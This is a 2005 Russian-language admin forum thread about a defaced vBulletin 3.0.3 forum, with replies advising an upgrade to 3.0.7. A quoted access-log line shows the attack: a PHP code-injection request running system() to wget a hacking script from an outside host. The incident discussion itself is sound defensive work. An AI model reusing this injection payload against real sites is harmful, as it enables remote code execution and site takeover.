Форум сетевых администраторов

Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- VBulletin 3.x.x (http://netadmin.ws/forum/forumdisplay.php?forumid=74)
-- взлом (http://netadmin.ws/forum/showthread.php?threadid=10553)

Помещено SIN 14-04-2005 в 22:38:

взлом

грозились когда-то взломать... вот что-то началось...
я сам не видел но мне написали:

короче сегодня несколько человек заметили странные сообщения на форуме, и один успел заскриншотить, вот что он видел:

quote:
потом там было еще 2-4 таблички
с темой что если вы не хотите этого то напишите или пообщайтесь со мной по адресу такому-то
и мыло на яндексе
такойто_Ха-кер@yandex.ru
что то похожее

Подскажите что делать?

__________________
Жду ответа как байкер лета!

Помещено miXei 15-04-2005 в 11:23:

SIN
А какие-нибудь подозрения есть, от чего может возникать окошко?
Следы на форуме какие-нибудь остались?

Какая кстати версия форума?

__________________
miXei.ru - Дискуссионный клуб

Помещено SIN 15-04-2005 в 12:08:

версия форума 303, короче скрипт взлома закачен на сервер с помощью запроса... мне саппорт "мажордомо" помогли разобраться...
вот что они мне ответили:

quote:
Здравствуйте,
ну вот, разобрался.
"Шуточки" эти делались сегодня с помощью скрипта http://www.форум.мой_сай...�злома.php

А скрипт был закачан при помощи уязвимости, описанной в этом запросе:
www.мой_сайт.ru-access.log.1.gz:62.139.191.17 - - [12/Apr/2005:13:54:21 +0400] "GET /forumdisplay.php?f=11&GLOBALS[]=1&comma={${system($cmd)}}{${exit()}}&cmd=wget%20http://www.нехороший_адрес.com/хак_взлома.zip HTTP/1.1" 200 14719 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

что скажете?

__________________
Жду ответа как байкер лета!

Помещено ValeRa+ 15-04-2005 в 13:43:

SIN
Ставь себе 3.0.7 и проблем не будет: Именно в это версии, закрыта серьёзная дырка в форуме.

Помещено SIN 15-04-2005 в 14:24:

ValeRa+
3.0.7 помоему уже давно вышла, я вот думаю может 3.0.8 скоро пояаится?..

__________________
Жду ответа как байкер лета!

Помещено miXei 15-04-2005 в 15:42:

SIN
Так ты сам ответил на свой вопрос.
Даже уязвимость указал, которая на 3.0.3 как раз.
Я из-за этого поставил в свое время 3.0.5, потом созрел на очередное обновление.

Ставь 3.0.7 и не жди обновления, прикроешь свои дырки в первую очередь и исправишь глюки.
7-ая стабильная, и ждать чего-то можно долго, только нужно ли рисковать, тем более в твоей ситуации.

__________________
miXei.ru - Дискуссионный клуб

Помещено SIN 16-04-2005 в 22:09:

miXei, да, ответил, после того как нашли...
спасибо за совет, наверное буду обновлять ща...

__________________
Жду ответа как байкер лета!

Формат времени GMT. Текущее время 16:42.

Показаны 7 сообщений на этой странице